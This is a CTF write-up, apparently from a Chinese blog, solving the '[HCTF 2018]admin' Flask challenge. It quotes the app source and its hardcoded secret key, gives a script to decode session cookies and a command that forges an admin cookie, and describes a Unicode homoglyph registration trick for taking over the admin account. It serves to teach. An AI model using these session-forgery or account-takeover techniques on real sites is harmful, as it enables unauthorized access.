BUUCTF | [HCTF 2018]admin
首先爬一遍整个网站,发现有没注册的时候有“login”,"register",这两个页面,注册一个123用户登录后发现有 "index“,”post“,”logout“,”change password“这四个界面,根据题目提示的admin,猜测是不是要让我用admin来登录这个网站?然后我在login界面输入用户名”admin“,密码”123“(弱口令)结果猝不及防

喵喵喵???还没开始就结束了?
正确的打开方式:总的来说就是欺骗服务器,假装自己是admin
buu限制发包量, 这里我就不尝试解法3了
解法一:flask session伪造
在"change password"页面发现了提示

https://github.com/woadsl1234/hctf_flask/blob/master/app/routes.py
#!/usr/bin/env python
# -*- coding:utf-8 -*- from flask import Flask, render_template, url_for, flash, request, redirect, session, make_response
from flask_login import logout_user, LoginManager, current_user, login_user
from app import app, db
from config import Config
from app.models import User
from forms import RegisterForm, LoginForm, NewpasswordForm
from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep
from io import BytesIO
from code import get_verify_code @app.route('/code')
def get_code():
image, code = get_verify_code()
# 图片以二进制形式写入
buf = BytesIO()
image.save(buf, 'jpeg')
buf_str = buf.getvalue()
# 把buf_str作为response返回前端,并设置首部字段
response = make_response(buf_str)
response.headers['Content-Type'] = 'image/gif'
# 将验证码字符串储存在session中
session['image'] = code
return response @app.route('/')
@app.route('/index')
def index():
return render_template('index.html', title = 'hctf') @app.route('/register', methods = ['GET', 'POST'])
def register(): if current_user.is_authenticated:
return redirect(url_for('index')) form = RegisterForm()
if request.method == 'POST':
name = strlower(form.username.data)
if session.get('image').lower() != form.verify_code.data.lower():
flash('Wrong verify code.')
return render_template('register.html', title = 'register', form=form)
if User.query.filter_by(username = name).first():
flash('The username has been registered')
return redirect(url_for('register'))
user = User(username=name)
user.set_password(form.password.data)
db.session.add(user)
db.session.commit()
flash('register successful')
return redirect(url_for('login'))
return render_template('register.html', title = 'register', form = form) @app.route('/login', methods = ['GET', 'POST'])
def login():
if current_user.is_authenticated:
return redirect(url_for('index')) form = LoginForm()
if request.method == 'POST':
name = strlower(form.username.data)
session['name'] = name
user = User.query.filter_by(username=name).first()
if user is None or not user.check_password(form.password.data):
flash('Invalid username or password')
return redirect(url_for('login'))
login_user(user, remember=form.remember_me.data)
return redirect(url_for('index'))
return render_template('login.html', title = 'login', form = form) @app.route('/logout')
def logout():
logout_user()
return redirect('/index') @app.route('/change', methods = ['GET', 'POST'])
def change():
if not current_user.is_authenticated:
return redirect(url_for('login'))
form = NewpasswordForm()
if request.method == 'POST':
name = strlower(session['name'])
user = User.query.filter_by(username=name).first()
user.set_password(form.newpassword.data)
db.session.commit()
flash('change successful')
return redirect(url_for('index'))
return render_template('change.html', title = 'change', form = form) @app.route('/edit', methods = ['GET', 'POST'])
def edit():
if request.method == 'POST': flash('post successful')
return redirect(url_for('index'))
return render_template('edit.html', title = 'edit') @app.errorhandler(404)
def page_not_found(error):
title = unicode(error)
message = error.description
return render_template('errors.html', title=title, message=message) def strlower(username):
username = nodeprep.prepare(username)
return username
由于 flask 是非常轻量级的 Web框架 ,其 session 存储在客户端中(可以通过HTTP请求头Cookie字段的session获取),且仅对 session 进行了签名,缺少数据防篡改实现,这便很容易存在安全漏洞。假设现在我们有一串 session 值为: eyJ1c2VyX2lkIjo2fQ.XA3a4A.R-ReVnWT8pkpFqM_52MabkZYIkY ,那么我们可以通过如下代码对其进行解密:
from itsdangerous import *
s = "eyJ1c2VyX2lkIjo2fQ.XA3a4A.R-ReVnWT8pkpFqM_52MabkZYIkY"
data,timestamp,secret = s.split('.')
int.from_bytes(base64_decode(timestamp),byteorder='big')from itsdangerous import *
s = "eyJ1c2VyX2lkIjo2fQ.XA3a4A.R-ReVnWT8pkpFqM_52MabkZYIkY"
data,timestamp,secret = s.split('.')
print("data=",data," ; timestamp = ",timestamp," ; secret = ",secret)
print(base64_decode(data))
print(base64_decode(timestamp))
print(int.from_bytes(base64_decode(timestamp),byteorder='big'))
print(int.from_bytes(base64_decode(secret),byteorder='big'))稍微改动后的代码py3
int.from_bytes函数
功能:res = int.from_bytes(x)的含义是把bytes类型的变量x,转化为十进制整数,并存入res中。其中bytes类型是python3特有的类型。
函数参数:int.from_bytes(bytes, byteorder, *, signed=False)。在IDLE或者命令行界面中使用help(int.from_bytes)命令可以查看具体介绍。
bytes是输入的变量; base64_decode(timestamp)=b'\\\r\xda\xe0'
signed=True表示需要考虑符号位。
举例说明:int_s = int.from_bytes(s, byteorder='little', signed=True),其中s='\xf1\xff',则输出int_s=-15。
分析一下过程,'\x'表示十六进制数,先把'f1'写成二进制数:1111 0001,'ff'同上:1111 1111. #小端法
由于s的高低位标志是'little',即'f1'是低位,'ff'是高位,所以正确的顺序应该是'fff1',即11111111 1111 0001.
又因为要考虑符号位,第一位是1,所以s是负数,要进行取反加一才是正确的十进制数(第一位符号位的1不变),可以得到10000000 00001111,写成十进制,就是-15,也就是int_s的结果。
上面的例子中,如果signed=False,则无符号位;
若byteorder='big',则输入s的左边是高位,右边是低位。 #大端法代码解析
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1) decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of an exception') if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before decoding the payload') return session_json_serializer.loads(payload) if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))
sessino解密脚本
这里我用的是python2的环境,kali自带的py2貌似默认安装了flask ,而自己安装py3的flask一直装不上Orz
python hctf_admin.py ..eJw9kEGLwjAUhP_KkrOHtrYXwYNSWxTeCy6p5eUirtamL8aFqrRG_O8bPOxtYJiPmXmJ_blvbkbM7v2jmYh9dxKzl_j6ETMhFQzIq0EqNMSF1XVhZPnN6DRL1abgFxmqpSWHHeTagKcpJdtI54sR6ipGt3PEFKGqYlLViLyx4KtUl4UFbp-oLjbkL5rbOOgOPaRQQ6yZEuLjE_2SoVwnWK8jcsHj1QgJjORNJ_PVFFxxQbdxMl_MxXsijrf-vL__2ub6P4H8NtM1TWVOqVQ7AwkNqLTFEjlUiKCEAbjyYZ5BDtVryLCdf3DXg2sC4nBy3VVMxOPW9J93RByJ9x_TGWWP.EJH3jQ.JhGCr-bcz5dzA0veCwseiH0eqyc



https://github.com/woadsl1234/hctf_flask/blob/master/app/config.pyi
mport os class Config(object):
SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test'
SQLALCHEMY_TRACK_MODIFICATIONS = True
SECRET_KEY

session加密用的是GitHub上的一个脚本,我按照官方给的方法装不上Orz,然后自己git clone了一下,git clone大法好啊


python2 ./flask_session_cookie_manager2.py encode -s "ckj123" -t "{'_fresh': True, '_id': b'121de14bca66edf6cc98e254ab460d68f9122c75e64747a997410a84049d9295b53192aebf5c2b93641e5c58cc1596ed3850da7a17a5f3f6415ac0743afe3dc4', 'csrf_token': b'd2495789467d55d9e38c2ffd63e9c578ee1b267a', 'image': b'BUXE', 'name': 'admin', 'user_id': '10'}"

https://github.com/woadsl1234/hctf_flask/blob/master/app/templates/index.html
{% include('header.html') %}
{% if current_user.is_authenticated %}
<h1 class="nav">Hello {{ session['name'] }}</h1>
{% endif %}
{% if current_user.is_authenticated and session['name'] == 'admin' %}
<h1 class="nav">hctf{xxxxxxxxx}</h1>
{% endif %}
<!-- you are not admin -->
<h1 class="nav">Welcome to hctf</h1> {% include('footer.html') %}
index.html

解法二:Unicode欺骗
https://unicode-table.com/en/1D2E/ ,在这个网站上找字符。

1.先注册一个账号 :ᴬᴰᴹᴵᴺ,密码:456

2.修改密码:111,然后退出

3.用账号”admin“,密码:111成功登录

大致的思路是:在注册的时候 ”ᴬᴰᴹᴵᴺ“ 经过strlower(),转成”ADMIN“ , 在修改密码的时候 ”ADMIN“经过strlower()变成”admin“ , 当我们再次退出登录的时候 ”admin“经过strlower()变成”admin“(没啥卵用,但是你已经知道了一个密码已知的”admin“,而且在index.html中可以看到只要session['name']=='admin',也就是只要用户名是’admin‘就可成功登录了)
参考资料:
HCTF2018-admin三种解法复现:https://blog.csdn.net/weixin_44677409/article/details/100733581
Python Web之flask session&格式化字符串漏洞:https://xz.aliyun.com/t/3569#toc-0
unicode 欺骗:https://panda1g1.github.io/2018/11/15/HCTF%20admin/
BUUCTF | [HCTF 2018]admin的更多相关文章
- [HCTF 2018]admin
前言: 最近在BUUCTF刷题,参照师傅们wp后复现一下 0x01 拿到题目后进去如下界面 发现有登录和注册界面,相比是要登录后才能查看想要的信息. 查看页面源代码,看看有没有上面提示,界面如下 提示 ...
- [HCTF 2018]admin wp
首先打开页面,查看源码 you are not admin考虑是否为需要登录 后发现右上方有个登录 考虑密码爆破,用户名为admin,密码未知 摔进burpsuite后爆破 后得到密码为123 登录得 ...
- [原题复现]HCTF 2018 Warmup(文件包含)
HCTF 2018 Warmup 原题复现:https://gitee.com/xiaohua1998/hctf_2018_warmup 考察知识点:文件包含漏洞(phpmyadmin 4.8.1任意 ...
- 攻防世界 WEB 高手进阶区 HCTF 2018 warmup Writeup
攻防世界 WEB 高手进阶区 HCTF 2018 warmup Writeup 题目介绍 题目考点 PHP代码审计 Writeup 打开 http://220.249.52.134:37877 常规操 ...
- BUUCTF-[HCTF 2018]admin(Unicode欺骗&伪造session)
目录 方法一:Unicode欺骗 方法二:伪造session 参考文章 记一道flask下session伪造的题. 方法一:Unicode欺骗 拿到题目f12提示you are not admin,显 ...
- [HCTF 2018]WarmUp
靶场首页 打开靶场后,查看源码即可看到<!--source.php--> 打开source.php页面 代码如下 <?php highlight_file(__FILE__) ...
- [BUUOJ记录] [HCTF 2018]WarmUp
BUUOJ Web的第一题,其实是很有质量的一道题,但是不知道为什么成了Solved最多的题目,也被师傅们笑称是“劝退题”,这道题的原型应该是来自于phpMyadmin的一个文件包含漏洞(CVE-20 ...
- 刷题[HCTF 2018]WarmUp
解题思路 进入页面之后,一个大大的滑稽. 查看源码 查看源码发现有source.php .打开 发现还有一个hint.php.打开发现 由此可知是代码审计了 解题 代码审计 先看此段代码,大致意思是. ...
- warmup(HCTF 2018)
为啥想写这道题的wp呢,因为这道题就是照着phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)复现出来的 题目 查看源码很容易找到source.php,直接访问 分析 题 ...
随机推荐
- Linux_Bash常用脚本
目录 目录 从用户列表中过滤用户名并创建用户 awktrcut 指令的文本处理 tr指令 cut指令 awk指令 备份文件 测试LFTPServer权限设定 开启Httpd 安装Httpd 批量创建用 ...
- nginx配置多个虚拟主机(mac)
1 . 安装 通过homebrew安装nginx,默认安装在:/usr/local/Cellar/nginx/版本号.配置文件在路径:/usr/local/etc/nginx ,默认配置文件ngin ...
- HTML--JS 表单验证
<html> <head> <title>验证表单</title> <script type="text/javascript" ...
- 跨平台自动构建工具v1.0.2 发布
XMake是一个跨平台自动构建工具,支持在各种主流平台上构建项目,类似cmake.automake.premake,但是更加的方便易用,工程描述语法更简洁直观,支持平台更多,并且集创建.配置.编译.打 ...
- JSP基础--动作标签
JSP动作标签 1 JSP动作标签概述 动作标签的作用是用来简化Java脚本的! JSP动作标签是JavaWeb内置的动作标签,它们是已经定义好的动作标签,我们可以拿来直接使用. 如果JSP动作标签不 ...
- nodejs启动
npm install cnpm install npm run dev cnpm install 与 npm install : https://blog.csdn.net/meng_suiga/ ...
- 0x3f3f3f3f 0xbfbfbfbf 等的原理及应用
原理 0x的意思其实是十六进制,后面加的数其实就是一个十六进制数. 在十六进制中,我们知道a代表10,b代表11,c代表12,d代表13,e代表14,f代表15. 所以3f3f3f3f这个数用十进制数 ...
- C#设计模式:组合模式(Composite Pattern)
一,C#设计模式:组合模式(Composite Pattern) using System; using System.Collections.Generic; using System.Linq; ...
- 【记录】jd-gui解析class文件 报INTERNAL ERROR
用GUI查看class文件时候出现INTERNAL ERROR 错误,是因为jd-gui解析不了该class文件,报错问题如下 解决方式:换个解析器,推荐luyten解析 下载地址:https://g ...
- 使用MyEclipse创建Servlet
https://www.yiibai.com/servlet/creating-servlet-in-myeclipse-ide.html 如何在myeclipse IDE中创建Servlet? 要在 ...
